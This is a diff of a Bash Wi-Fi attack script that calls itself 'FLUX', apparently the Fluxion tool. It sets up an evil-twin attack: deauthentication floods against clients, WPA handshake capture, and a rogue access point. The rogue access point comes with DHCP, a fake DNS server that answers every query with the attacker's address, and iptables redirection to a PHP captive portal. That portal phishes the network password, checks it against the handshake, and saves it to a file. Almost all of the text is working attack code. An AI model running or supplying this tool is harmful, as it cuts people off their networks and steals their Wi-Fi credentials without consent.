+esac + +} +function handshakelocation { + + conditional_clear + + mostrarheader + infoap + echo + echo -e "handshake location (Example: $red/root/fluxion.cap$transparent)" + echo -e "Press ${yellow}ENTER$transparent to skip" + echo + echo -n "Path: " + echo -ne "$red" + read handshakeloc + echo -ne "$transparent" + + if [ "$handshakeloc" = "" ]; then + deauthforce + else + if [ -f "$handshakeloc" ]; then + Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) + Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') + if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then + if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then + cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap + webinterface + else + echo "Broken handshake " + echo + sleep 4 + echo "you can try aircrack-ng" + echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" + echo + + read handshakeloc_aircrack + echo -ne "$transparent" + if [ "$handshakeloc_aircrack" = "" ]; then + handshakelocation + else + if aircrack-ng $handshakeloc | grep -q "1 handshake"; then + cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap + webinterface + else + echo "Broken handshake" + sleep 4 + handshakelocation + fi + fi + fi + else + echo -e "${red}Not_Found$transparent!" + echo + echo -e "File ${red}MAC$transparent" + + readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") + for i in "${lista_loc[@]}"; do + echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" + done + + echo -e "Host ${green}MAC$transparent" + echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" + sleep 7 + handshakelocation + fi + else + echo -e "File ${red}NOT$transparent present" + sleep 4 + handshakelocation + fi + fi +} + +function deauthforce { + + conditional_clear + + mostrarheader + while true; do + + echo "handshake check" + echo " " + echo -e " "$blue"1)"$transparent" aircrack-ng (Miss chance)" + echo -e " "$blue"2)"$transparent" pyrit" + echo -e " "$blue"3)"$transparent" Back" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) handshakemode="normal"; askclientsel; break ;; + 2 ) handshakemode="hard"; askclientsel; break ;; + 3 ) askauth; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done +} + +############################################### < MENU > ############################################### + + + + + + +############################################# < HANDSHAKE > ############################################ + +# Tipo de Deauth que se va a realizar +function askclientsel { + + conditional_clear + + while true; do + mostrarheader + + echo "Capture Handshake" + echo " " + echo -e " "$blue"1)"$transparent" Deauth all" + echo -e " "$blue"2)"$transparent" Deauth all [mdk3]" + echo -e " "$blue"3)"$transparent" Deauth target " + echo -e " "$blue"4)"$transparent" Rescan networks " + echo -e " "$blue"5)"$transparent" Exit" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) deauth all; break ;; + 2 ) deauth mdk3; break ;; + 3 ) deauth esp; break ;; + 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; + 5 ) exitmode; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done + +} + +# +function deauth { + + conditional_clear + + iwconfig $WIFI_MONITOR channel $Host_CHAN + + case $1 in + all ) + DEAUTH=deauthall + capture & $DEAUTH + CSVDB=$Host_MAC-01.csv + ;; + mdk3 ) + DEAUTH=deauthmdk3 + capture & $DEAUTH & + CSVDB=$Host_MAC-01.csv + ;; + esp ) + DEAUTH=deauthesp + HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` + LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` + + if [ $LINEAS_CLIENTES -le 5 ]; then + DEAUTH=deauthall + capture & $DEAUTH + CSVDB=$Host_MAC-01.csv + deauth + + fi + + capture + for CLIENT in $HOST; do + Client_MAC=`echo ${CLIENT:0:17}` + deauthesp + done + $DEAUTH + CSVDB=$Host_MAC-01.csv + ;; + esac + + + deauthMENU + +} + +function deauthMENU { + + Handshake_statuscheck="${grey}No handshake$transparent" + + while true; do + conditional_clear + mostrarheader + + echo "*Capture Handshake* " + echo + echo -e "Status handshake: $Handshake_statuscheck" + echo + echo -e " "$blue"1)"$transparent" Yes" + echo -e " "$blue"2)"$transparent" Strike again " + echo -e " "$blue"3)"$transparent" No (Select another attack)" + echo -e " "$blue"4)"$transparent" Select another network" + echo -e " "$blue"5)"$transparent" Exit" + echo " " + echo -n ' #> ' + read yn + + case $yn in + 1 ) checkhandshake;; + 2 ) capture; $DEAUTH & ;; + 3 ) conditional_clear; askclientsel; break;; + 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; + 5 ) exitmode; break;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + + done +} + +# Capture all +function capture { + + conditional_clear + if ! ps -A | grep -q airodump-ng; then + + rm -rf $DUMP_PATH/$Host_MAC* + xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & + fi +} + +# Check the handshake before continuing +function checkhandshake { + + if [ "$handshakemode" = "normal" ]; then + if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then + killall airodump-ng &>$flux_output_device + webinterface + break + else + Handshake_statuscheck="${red}Not_Found$transparent" + fi + elif [ "$handshakemode" = "hard" ]; then + pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device + + if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then + killall airodump-ng &>$flux_output_device + webinterface + break + else + if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then + Handshake_statuscheck="${yellow}Corrupt$transparent" + else + Handshake_statuscheck="${red}Not_Found$transparent" + fi + fi + + rm $DUMP_PATH/test.cap &>$flux_output_device + fi +} + +############################################# < HANDSHAKE > ############################################ + + + + + + +############################################# < ATAQUE > ############################################ + +# Select web interface that will be used +function webinterface { + + while true; do + conditional_clear + mostrarheader + + infoap + echo + echo "Select Web Interface" + echo + + echo -e "$blue""1)"$transparent" Web Interface" + echo -e "$blue""2)"$transparent" \e[1;31mExit"$transparent"" + + echo + echo -n "#? " + read line + + if [ "$line" = "2" ]; then + exitmode + elif [ "$line" = "1" ]; then + conditional_clear + mostrarheader + + infoap + echo + echo "SELECT LANGUAGE" + echo + + echo -e "$blue""1)"$transparent" English [ENG]" + echo -e "$blue""2)"$transparent" Spanish [ESP]" + echo -e "$blue""3)"$transparent" Italy [IT]" + echo -e "$blue""4)"$transparent" French [FR]" + echo -e "$blue""5)"$transparent" Portuguese [POR]" + echo -e "$blue""6)"$transparent" German [GER]" + echo -e "$blue""7)"$transparent" \e[1;31mBack"$transparent"" + + echo + echo -n "#? " + read fluxass + language=${webinterfaceslenguage[$line]} + + if [ "$fluxass" = "1" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG + DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG + NEUTRA + break + elif [ "$fluxass" = "2" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP + DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP + NEUTRA + break + elif [ "$fluxass" = "3" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT + DIALOG_WEB_OK=$DIALOG_WEB_OK_IT + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT + NEUTRA + break + elif [ "$fluxass" = "4" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR + DIALOG_WEB_OK=$DIALOG_WEB_OK_FR + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR + NEUTRA + break + elif [ "$fluxass" = "5" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR + DIALOG_WEB_OK=$DIALOG_WEB_OK_POR + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR + NEUTRA + break + + elif [ "$fluxass" = "6" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER + DIALOG_WEB_OK=$DIALOG_WEB_OK_GER + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER + NEUTRA + break + elif [ "$fluxass" = "7" ]; then + continue + fi + fi + + done + preattack + attack +} + +# Create different settings required for the script +function preattack { + +# Config HostAPD +echo "interface=$WIFI +driver=nl80211 +ssid=$Host_SSID +channel=$Host_CHAN +">$DUMP_PATH/hostapd.conf + +# Creates PHP +echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; +break; +} + +if ( (strlen(\$key1) > 63) ) { +echo \"\"; +break; +} + + +\$file = fopen(\$filename, \"w\"); +fwrite(\$file,\"\$f_data\"); +fwrite(\$file,\"\n\"); +fclose(\$file); + + +\$archivo = fopen(\$intento, \"w\"); +fwrite(\$archivo,\"\n\"); +fclose(\$archivo); + +while(1) +{ + +if (file_get_contents(\"\$intento\") == 2) { + header(\"location:final.html\"); + break; + } +if (file_get_contents(\"\$intento\") == 1) { + header(\"location:error.html\"); + unlink(\$intento); + break; + } + +sleep(1); +} + +?>" > $DUMP_PATH/data/check.php + +# Config DHCP +echo "authoritative; + +default-lease-time 600; +max-lease-time 7200; + +subnet $RANG_IP.0 netmask 255.255.255.0 { + +option broadcast-address $RANG_IP.255; +option routers $IP; +option subnet-mask 255.255.255.0; +option domain-name-servers $IP; + +range $RANG_IP.100 $RANG_IP.250; + +} +" >$DUMP_PATH/dhcpd.conf + +#create an empty leases file +touch $DUMP_PATH/dhcpd.leases + +# creates Lighttpd web-server +echo "server.document-root = \"$DUMP_PATH/data/\" + +server.modules = ( + \"mod_access\", + \"mod_alias\", + \"mod_accesslog\", + \"mod_fastcgi\", + \"mod_redirect\", + \"mod_rewrite\" +) + +fastcgi.server = ( \".php\" => (( + \"bin-path\" => \"/usr/bin/php-cgi\", + \"socket\" => \"/php.socket\" + ))) + +server.port = 80 +server.pid-file = \"/var/run/lighttpd.pid\" +# server.username = \"www\" +# server.groupname = \"www\" + +mimetype.assign = ( +\".html\" => \"text/html\", +\".htm\" => \"text/html\", +\".txt\" => \"text/plain\", +\".jpg\" => \"image/jpeg\", +\".png\" => \"image/png\", +\".css\" => \"text/css\" +) + + +server.error-handler-404 = \"/\" + +static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) +index-file.names = ( \"index.htm\" ) + +#Redirect www.domain.com to domain.com +\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { +url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) +} + +" >$DUMP_PATH/lighttpd.conf + +# that redirects all DNS requests to the gateway +echo "import socket + +class DNSQuery: + def __init__(self, data): + self.data=data + self.dominio='' + + tipo = (ord(data[2]) >> 3) & 15 + if tipo == 0: + ini=12 + lon=ord(data[ini]) + while lon != 0: + self.dominio+=data[ini+1:ini+lon+1]+'.' + ini+=lon+1 + lon=ord(data[ini]) + + def respuesta(self, ip): + packet='' + if self.dominio: + packet+=self.data[:2] + \"\x81\x80\" + packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' + packet+=self.data[12:] + packet+='\xc0\x0c' + packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' + packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) + return packet + +if __name__ == '__main__': + ip='$IP' + print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip + + udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + udps.bind(('',53)) + + try: + while 1: + data, addr = udps.recvfrom(1024) + p=DNSQuery(data) + udps.sendto(p.respuesta(ip), addr) + print 'Request: %s -> %s' % (p.dominio, ip) + except KeyboardInterrupt: + print 'Finalizando' + udps.close() +" >$DUMP_PATH/fakedns +chmod +x $DUMP_PATH/fakedns + +} + +# Set up DHCP / WEB server +function routear { + + ifconfig $interfaceroutear up + ifconfig $interfaceroutear $IP netmask 255.255.255.0 + + route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP + echo "1" > /proc/sys/net/ipv4/ip_forward + + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + iptables -P FORWARD ACCEPT + + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 + iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 + iptables -t nat -A POSTROUTING -j MASQUERADE +} + +# Attack +function attack { + + if [ "$fakeapmode" = "hostapd" ]; then + interfaceroutear=$WIFI + elif [ "$fakeapmode" = "airbase-ng" ]; then + interfaceroutear=at0 + fi + + handshakecheck + nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) + + if [ "$fakeapmode" = "hostapd" ]; then + + ifconfig $WIFI down + sleep 0.4 + macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device + sleep 0.4 + ifconfig $WIFI up + sleep 0.4 + fi + + + if [ $fakeapmode = "hostapd" ]; then + killall hostapd &> $flux_output_device + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & + elif [ $fakeapmode = "airbase-ng" ]; then + killall airbase-ng &> $flux_output_device + xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & + fi + sleep 5 + + routear & + sleep 3 + + + killall dhcpd &> $flux_output_device + xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & + killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device + xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & + + killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device + lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device + + killall aireplay-ng &> $flux_output_device + killall mdk3 &> $flux_output_device + echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & + + xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & + conditional_clear + + while true; do + mostrarheader + + echo "Attack in progress .." + echo " " + echo " 1) Choose another network" + echo " 2) Exit" + echo " " + echo -n ' #> ' + read yn + case $yn in + 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; + 2 ) matartodo; exitmode; break;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done + +} + +# Checks the validity of the password +function handshakecheck { + + echo "#!/bin/bash + + echo > $DUMP_PATH/data.txt + echo -n \"0\"> $DUMP_PATH/hit.txt + echo "" >$DUMP_PATH/loggg + + tput civis + clear + + minutos=0 + horas=0 + i=0 + timestamp=\$(date +%s) + + while true; do + + segundos=\$i + dias=\`expr \$segundos / 86400\` + segundos=\`expr \$segundos % 86400\` + horas=\`expr \$segundos / 3600\` + segundos=\`expr \$segundos % 3600\` + minutos=\`expr \$segundos / 60\` + segundos=\`expr \$segundos % 60\` + + if [ \"\$segundos\" -le 9 ]; then + is=\"0\" + else + is= + fi + + if [ \"\$minutos\" -le 9 ]; then + im=\"0\" + else + im= + fi + + if [ \"\$horas\" -le 9 ]; then + ih=\"0\" + else + ih= + fi">>$DUMP_PATH/handcheck + + if [ $authmode = "handshake" ]; then + echo "if [ -f $DUMP_PATH/intento ]; then + + if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then + echo \"2\">$DUMP_PATH/intento + break + else + echo \"1\">$DUMP_PATH/intento + fi + + fi">>$DUMP_PATH/handcheck + + elif [ $authmode = "wpa_supplicant" ]; then + echo " + wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & + wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & + + if [ -f $DUMP_PATH/intento ]; then + + if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then + echo \"2\">$DUMP_PATH/intento + break + else + echo \"1\">$DUMP_PATH/intento + fi + + fi + ">>$DUMP_PATH/handcheck + fi + + echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) + + echo + echo -e \" ACCESS POINT:\" + echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" + echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" + echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" + echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" + echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" + echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" + echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" + echo + echo -e \" CLIENTS ONLINE:\" + + x=0 + for cliente in \"\${CLIENTESDHCP[@]}\"; do + x=\$((\$x+1)) + CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) + CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) + + if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then + CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" + fi + + CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) + + if echo \$CLIENTE_MAC| grep -q x; then + CLIENTE_FABRICANTE=\"unknown\" + fi + + CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) + + echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" + done + + echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck + + + if [ $authmode = "handshake" ]; then + echo "let i=\$(date +%s)-\$timestamp + sleep 1">>$DUMP_PATH/handcheck + + elif [ $authmode = "wpa_supplicant" ]; then + echo "sleep 5 + + killall wpa_supplicant &>$flux_output_device + killall wpa_passphrase &>$flux_output_device + let i=\$i+5">>$DUMP_PATH/handcheck + fi + + echo "done + clear + echo \"1\" > $DUMP_PATH/status.txt + + sleep 7 + + killall mdk3 &>$flux_output_device + killall aireplay-ng &>$flux_output_device + killall airbase-ng &>$flux_output_device + kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device + killall hostapd &>$flux_output_device + killall lighttpd &>$flux_output_device + killall dhcpd &>$flux_output_device + killall wpa_supplicant &>$flux_output_device + killall wpa_passphrase &>$flux_output_device + + echo \" + FLUX $version by deltax + + SSID: $Host_SSID + BSSID: $Host_MAC ($Host_MAC_MODEL) + Channel: $Host_CHAN + Security: $Host_ENC + Time: \$ih\$horas:\$im\$minutos:\$is\$segundos + Password: \$(cat $DUMP_PATH/data.txt) + \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck + + + if [ $authmode = "handshake" ]; then + echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" + ">>$DUMP_PATH/handcheck + + elif [ $authmode = "wpa_supplicant" ]; then + echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck + fi + + echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck + chmod +x $DUMP_PATH/handcheck +} + + +############################################# < ATTACK > ############################################ + + + + + + +############################################## < STUFF > ############################################ + +# Deauth all +function deauthall { + + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & +} + +function deauthmdk3 { + + echo "$Host_MAC" >$DUMP_PATH/mdk3.txt + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & + mdk3PID=$! + sleep 15 + kill $mdk3PID &>$flux_output_device +} + +# Deauth to a specific target +function deauthesp { + + sleep 2 + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & +} + +# Close all processes +function matartodo { + + killall aireplay-ng &>$flux_output_device + kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device + killall hostapd &>$flux_output_device + killall lighttpd &>$flux_output_device + killall dhcpd &>$flux_output_device + killall xterm &>$flux_output_device + +} + + + +############################################## < STUFF > ############################################ + + + + + + +######################################### < INTERFACE WEB > ######################################## + +# Create the contents for the web interface +function NEUTRA { + + if [ ! -d $DUMP_PATH/data ]; then + mkdir $DUMP_PATH/data + fi + +echo "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 